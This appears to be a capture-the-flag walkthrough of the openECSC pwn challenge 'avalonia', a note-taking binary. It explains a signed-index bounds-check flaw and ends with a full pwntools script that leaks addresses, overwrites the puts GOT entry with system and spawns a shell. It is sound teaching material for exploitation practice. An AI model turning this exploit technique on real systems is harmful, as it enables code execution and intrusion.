avalonia - openECSC - Walkthrough
Exploit a logic bug in a binary.
Introduction
This is a write-up for the challenge avalonia of the openECSC. The challenge is rated as medium and is in the pwn category. Like for the other challenges, you can download a file named like the challenge name containing the necessary files.
The challenge starts with the following description:
Bossman asked me to make an innovative and futuristic note app with a “sleek and modern” user interface.
Turns out we might’ve had different ideas of what is “sleek and modern”.
There are four files in the compressed challenge file:
1
2
3
4
5
$ ls -R
Dockerfile chall ld-linux-x86-64.so.2 libc.so.6
./chall:
app flag.txt
I used pwninit
again like in the exitnction challenge to setup the binary with the matching linker and the libc
version.
1
2
3
4
5
6
7
8
9
$ pwninit
bin: ./app
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.10_amd64.deb
copying ./app to ./app_patched
running patchelf on ./app_patched
After patching the challenge, you can run the app_patched
binary, this will provide a interface of a note app.
1
2
3
4
5
6
7
8
9
10
11
12
$ ./app_patched
--- Another Very Awesome Limited Obnoxious Note Interfacing App (No .NET!) ---
Options:
0) Add new note
1) View a note
2) Edit a note
3) Delete a note
4) Exit and abandon all notes
5) Save notes Not implemented
6) Open in GUI ETA: unknown
Choice >
There are the four basic operations available when working with the notes. You can add, view, edit and delete the notes. The last two functions/options are not available so it is finally only possible to exit.
To investigate possible attacks against the binary checksec
can be used.
1
2
3
4
5
6
7
pwndbg> checksec
File: /home/user/Documents/openECSC2025/writeup2/avalonia/app_patched
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The binary has all standard protections except RELRO
and the GOT is writable.
Functions
To gain a deeper understanding of the functionality of the binary I started reverse engineering it.
Add a note
The add note function firstly checks if there is a spot empty to save the note. Then it reads a string of 0x9c
bytes in a buffer and calls add_note()
with that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void do_add_note(void)
{
int iVar1;
uint uVar2;
long in_FS_OFFSET;
char local_b8 [168];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar1 = check_note_spots();
if (iVar1 == -1) {
puts("[ERR] All 10 note spots have been used up!");
}
else {
printf("Enter note content > ");
fgets(local_b8,0x9c,stdin);
uVar2 = add_note(local_b8);
if (uVar2 == 0xffffffff) {
puts("[ERR] what");
}
printf("Successfully created note %d.\n",(ulong)uVar2);
}
return;
}
Check note spots
1
2
3
4
5
6
7
8
9
10
11
12
13
int check_note_spots(void)
{
int local_c;
for (local_c = 0; (*(long *)(noteptrs + (long)local_c * 8) != 0 && (local_c < 10));
local_c = local_c + 1) {
}
if (local_c == 10) {
local_c = -1;
}
return local_c;
}
This function maps through the noteptrs
buffer, which is a 80 byte long pointer array and will check if there is any pointer unset. A total of 10 notes can be saved totally.
Add note
The add note function called by the do_add_note
function simply copies the string to the notes
buffer. Before the string the time will be saved in a 4 bytes long buffer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int add_note(char *buffer)
{
int iVar1;
long lVar2;
time_t tVar3;
iVar1 = check_note_spots();
if (iVar1 == -1) {
iVar1 = -1;
}
else {
lVar2 = (long)iVar1 * 0xa0;
strcpy(notes + lVar2 + 4,buffer);
notes[lVar2 + 0x9f] = 0;
tVar3 = time((time_t *)0x0);
*(int *)(notes + lVar2) = (int)tVar3;
*(undefined1 **)(noteptrs + (long)iVar1 * 8) = notes + lVar2;
}
return iVar1;
}
The memory of the notes
section contains an array of notes. The notes
buffer is above the noteptrs
buffer and is 1600 bytes large. Each note is in the following format, additionally a pointer is pointing to that note from the noteptrs
buffer.
1
[ Time 4 bytes ][ buffer 0x9b ]
Edit notes
The do_edit_note()
function first retrieves the index of the note you want to edit, then it will check if the index is not -1
. After that it is checked if the noteptrs
buffer doesn’t contain a empty entry, a null pointer, if that is not the case a buffer is read in and edit_note()
is called with the buffer as the argument.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void do_edit_note(void)
{
long lVar1;
int iVar2;
long lVar3;
long in_FS_OFFSET;
char local_b8 [168];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter index of note to edit > ");
iVar2 = get_index();
lVar3 = (long)iVar2;
if (lVar3 == -1) {
printf("[ERR] Invalid note index! (Expected 0-9, got %zu)\n",0xffffffffffffffff);
}
else {
lVar1 = *(long *)(noteptrs + lVar3 * 8);
if (lVar1 == 0) {
printf("[ERR] No note at index %zu!\n",lVar3);
}
else {
printf("Enter note content: ");
fgets(local_b8,0x9c,stdin);
edit_note(lVar1,local_b8);
printf("Successfully edited note %zu.\n",lVar3);
}
}
return;
}
View notes
The view notes function also uses the get_index()
function like the edit function, it will do the same checks if the index is -1
and if the pointer is null. After that it parses the first 4 bytes as the time and prints it out. Lastly the buffer is printed using puts
, this is particularly important because for other output the printf
function is used in this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void do_view_note(void)
{
int iVar1;
undefined8 uVar2;
long in_FS_OFFSET;
long local_30;
long local_28;
int *local_20;
tm *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter index of note to view > ");
iVar1 = get_index();
local_28 = (long)iVar1;
if (local_28 == -1) {
printf("[ERR] Invalid note index! (Expected 0-9, got %zu)\n",0xffffffffffffffff);
}
else {
local_20 = *(int **)(noteptrs + local_28 * 8);
if (local_20 == (int *)0x0) {
printf("[ERR] No note at index %zu!\n",local_28);
}
else {
local_30 = (long)*local_20;
local_18 = gmtime(&local_30);
if (local_18->tm_hour < 0xc) {
uVar2 = 0x41;
}
else {
uVar2 = 0x50;
}
iVar1 = local_18->tm_hour + -1;
printf("Note %zu info:\nModified on %02d/%02d/%04d %02d:%02d:%02d %cM\nContent: \"",local_28,
(ulong)(uint)local_18->tm_mday,(ulong)(local_18->tm_mon + 1),
(ulong)(local_18->tm_year + 0x76c),
(ulong)(iVar1 + ((iVar1 / 6 + (iVar1 >> 0x1f) >> 1) - (iVar1 >> 0x1f)) * -0xc + 1),
(ulong)(uint)local_18->tm_min,(ulong)(uint)local_18->tm_sec,uVar2);
puts((char *)(local_20 + 1));
puts("\"");
}
}
return;
}
Additional functions
View Delete Function Description
The delete notes function simply nulls out the pointer in the noteptrs
pointer array. The data in the notes
buffer won’t be deleted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void do_delete_note(void)
{
int iVar1;
long lVar2;
iVar1 = get_index();
lVar2 = (long)iVar1;
if (lVar2 == -1) {
printf("[ERR] Invalid note index! (Expected 0-9, got %zu)\n",0xffffffffffffffff);
}
else if (*(long *)(noteptrs + lVar2 * 8) == 0) {
printf("[ERR] No note at index %zu!\n",lVar2);
}
else {
*(undefined8 *)(noteptrs + lVar2 * 8) = 0;
printf("Successfully deleted note %zu.\n",lVar2);
}
return;
}
Vulnerability
The vulnerability in this challenge is a combination of the get_index()
and the check_index()
function In the get_index()
. The check_index
function is there to protect arbitrary memory reads and the get_index
function is used to get the index from the user using scanf
.
1
2
3
4
5
6
7
8
9
10
11
12
13
undefined8 get_index(void)
{
char cVar1;
long in_FS_OFFSET;
undefined8 local_18;
long local_10;
scanf(" %zu%*c",&local_18);
cVar1 = check_index(local_18);
if (cVar1 == '\0') {
local_18 = 0xffffffff;
}
}
The %zu
reads an unsigned long with a size of 8 bytes into local_18
. So an unsigned long is read into a signed long. The check_index()
function now checks if the long is smaller than 10. The issue here is that if we provide a huge unsigned number we can get a number lower than 0 and have the ability to create indexes smaller than 0 which will pass the check and allow us to go above (lower in addresses) the noteptrs
array.
1
2
3
4
bool check_index(long param_1)
{
return param_1 < 10;
}
To store negative numbers the most significant bit (MSB) is set 1. For positive numbers it is set to 0, so if you provide a number larger than 2^n (n = MSB), in the unsigned number it will become a negative number.
Edit: There is actually no need to calculate the address using very large numbers. There is the ability to input negative numbers into
scanf
with%u
, which still works. This a undefined behavior according to this StackOverflow article. This makes solving the challenge easier. - Credit to @pingotux
Exploitation
As said before the ability to point with the index to a address lower than the noteptrs
array allows us to set custom pointers and leak pointers. Fortunately the notes
buffer is above noteptrs
.
1
2
3
4
pwndbg> p ¬eptrs
$2 = (<data variable, no debug info> *) 0x555ab83f26e0 <noteptrs>
pwndbg> p ¬es
$3 = (<data variable, no debug info> *) 0x555ab83f20a0 <notes>
Strategy
I firstly discovered that one address above the notes
buffer and below the GOT points to itself, so I used the offset to that buffer to leak an address in the writeable section of the binary. It must be noted that because the first 4 buffers are the time, you need a function which can convert a time into a 4 byte address. The time is a 4 byte number.
Next you can use the new found address and write it in the last note buffer in slot 9, but you can’t write it in the last 8 bytes of that slot right before the noteptrs
buffer because the get_index()
function checks if the index is -1
, so you need to use -2
for the 8 bytes.
Now I changed the address to point to the GOT, especially to point to puts
. I then did a read the receive the puts address from the GOT. This address can then be used to calculate the address of system. With the same index you now can overwrite the address of puts
with the address of system
because of the weak binary protection. Before writing the system address the offset needs to be changed again because the first 4 bytes at the offset will be the time.
Finally you can view the first buffer which should contain /bin/sh
to pop a shell.
Exploit Script
Here is the full exploit script used.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
import datetime,struct
do_exploit_remote = False
context.binary = elf = ELF("./app_patched")
context.arch = 'amd64'
libc = ELF("./libc.so.6")
def date_to_bytes(date_str: str) -> bytes:
"""
Convert 'Modified on DD/MM/YYYY hh:mm:ss AM/PM' into original 4-byte timestamp. Thx ChatGPT
"""
prefix = "Modified on "
if date_str.startswith(prefix):
date_str = date_str[len(prefix):]
dt = datetime.datetime.strptime(date_str, "%d/%m/%Y %I:%M:%S %p")
timestamp = int(dt.replace(tzinfo=datetime.timezone.utc).timestamp())
return struct.pack("<i", timestamp)
MAX_UNSIGNED_LONG = 18446744073709551615
def add_note(content):
p.sendlineafter(b'Choice > ', b'0')
p.sendlineafter(b'> ', content)
def view_note(index):
p.sendlineafter(b'Choice > ', b'1')
p.sendlineafter(b'> ', str(index).encode())
def edit_note(index, content):
p.sendlineafter(b'Choice > ', b'2')
p.sendlineafter(b'> ', str(index).encode())
p.sendlineafter(b': ', content)
def delete_note(index):
p.sendlineafter(b'Choice > ', b'3')
p.sendline(str(index).encode())
def read_addr(dest):
# convert signed to unsigned (bug only using u64)
view_note(dest)
date = p.recvline_contains(b"Modified")
addr_part1 = date_to_bytes(date.decode())
addr_part2 = p.recvline_contains(b"Content").split(b"Content: \"")[1][:2]
addr = addr_part1+addr_part2+b"\x00"*2
addr = u64(addr)
return addr
if do_exploit_remote:
p = remote("084ef1bf-e746-4f5c-b1ce-7730095656e1.openec.sc",31337,ssl=True)
else:
p = process([elf.path])
# used for the puts later to do puts("/bin/sh")
add_note(b"/bin/sh")
# add some dummy notes
for i in range(9):
add_note(b"A"*0x40)
# address pointing to itseld
addr = read_addr(-210)
# setting the offset
elf.address = addr-16464
log.info(f"Extracxted elf base address {hex(elf.address)}")
puts_got = elf.got["puts"]
# delete note 9 to write the address there
delete_note(9)
# add note which contains adddress,
# so you can reference that to write there
payload = cyclic(0x8c-8)
payload += p64(puts_got)
add_note(payload)
# read puts in GOT
addr = read_addr(-3)
libc.address = addr-libc.symbols["puts"]
log.info(f"Extracxted libc address {hex(addr)}")
delete_note(9)
# add new note to point 4 bytes before puts because the time is written too
payload = b""
payload += cyclic(0x8c-8)
payload += p64(puts_got-4)
add_note(payload)
system_addr = libc.symbols["system"]
payload = p64(system_addr)
# write system to puts
edit_note(-3,payload)
# execute puts() -> system()
view_note(0)
p.clean()
p.sendline(b"cat /flag.txt")
p.interactive()